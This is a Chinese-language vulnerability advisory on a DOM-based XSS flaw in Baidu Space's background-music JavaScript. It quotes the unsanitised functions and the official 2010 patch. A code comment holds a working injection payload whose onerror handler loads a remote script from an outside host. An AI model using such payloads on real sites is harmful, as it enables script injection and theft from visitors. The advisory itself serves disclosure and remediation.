百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码，最终导致xss漏洞 在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码： function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { //传入的murl赋值到bgmusic1和bgmusic2中 //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\"...
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码，最终导致xss漏洞 在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码： function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { //传入的murl赋值到bgmusic1和bgmusic2中 //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; if (musicnum <= 1) { bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; } bgmusic1 += "</OBJECT>"; var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; if (musicnum <= 1) { bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; } bgmusic2 += "> </EMBED>"; var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; var bgmus = detectWMP(); if (functype == "FckMusicHelper") { if (bgmus.installed) { if (bgmus.type == "IE") { return bgmusic1; } else if (bgmus.type == "NS") { return bgmusic2; } } else { return bgmusic3; } } else { if (bgmus.installed) { //document.write 直接输出bgmusic变量 导致xss if (bgmus.type == "IE") { document.write(bgmusic1); } else if (bgmus.type == "NS") { document.write(bgmusic2); } } else { document.write(bgmusic3); } return ""; } } 在看百度空间里的initBlogTextForFCK()函数，调用了creatbgmusic() ,代码如下： function initBlogTextForFCK(){ //fck init music if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} var imgBox=document.getElementsByName('musicName');//取得了文章中的所有name="musicName"的标签数组 var isAutoPlay=true; for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. var img=imgBox[i]; if(img.getAttribute('rel')){ var musicSrc=img.getAttribute('rel');//取得标签中rel的值,赋值给musicSrc var musicDiv = document.createElement("SPAN"); var tmp=musicSrc.substr (musicSrc.indexOf('#')+1, 1);//以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] .......................... //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')),1,true,false,tmpAutoPlay,tmpAutoPlay,'FckMusicHelper'); shtml=shtml.replace('width=100%','width=200').replace('width="100%"','width=200 height=45');img.replaceNode(musicDiv); musicDiv.innerHTML=shtml; i--;n--; } } 从上面的代码分析可以看出：在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 百度空间 等待官方补丁 update 2010年5月13日 官方补丁： var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')),1,true,false,tmpAutoPlay,tmpAutoPlay,'FckMusicHelper'); 改为： var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')).replace(/[\s><()]+/g,''),1,true,false,isAutoPlay,isAutoPlay,'FckMusicHelper');
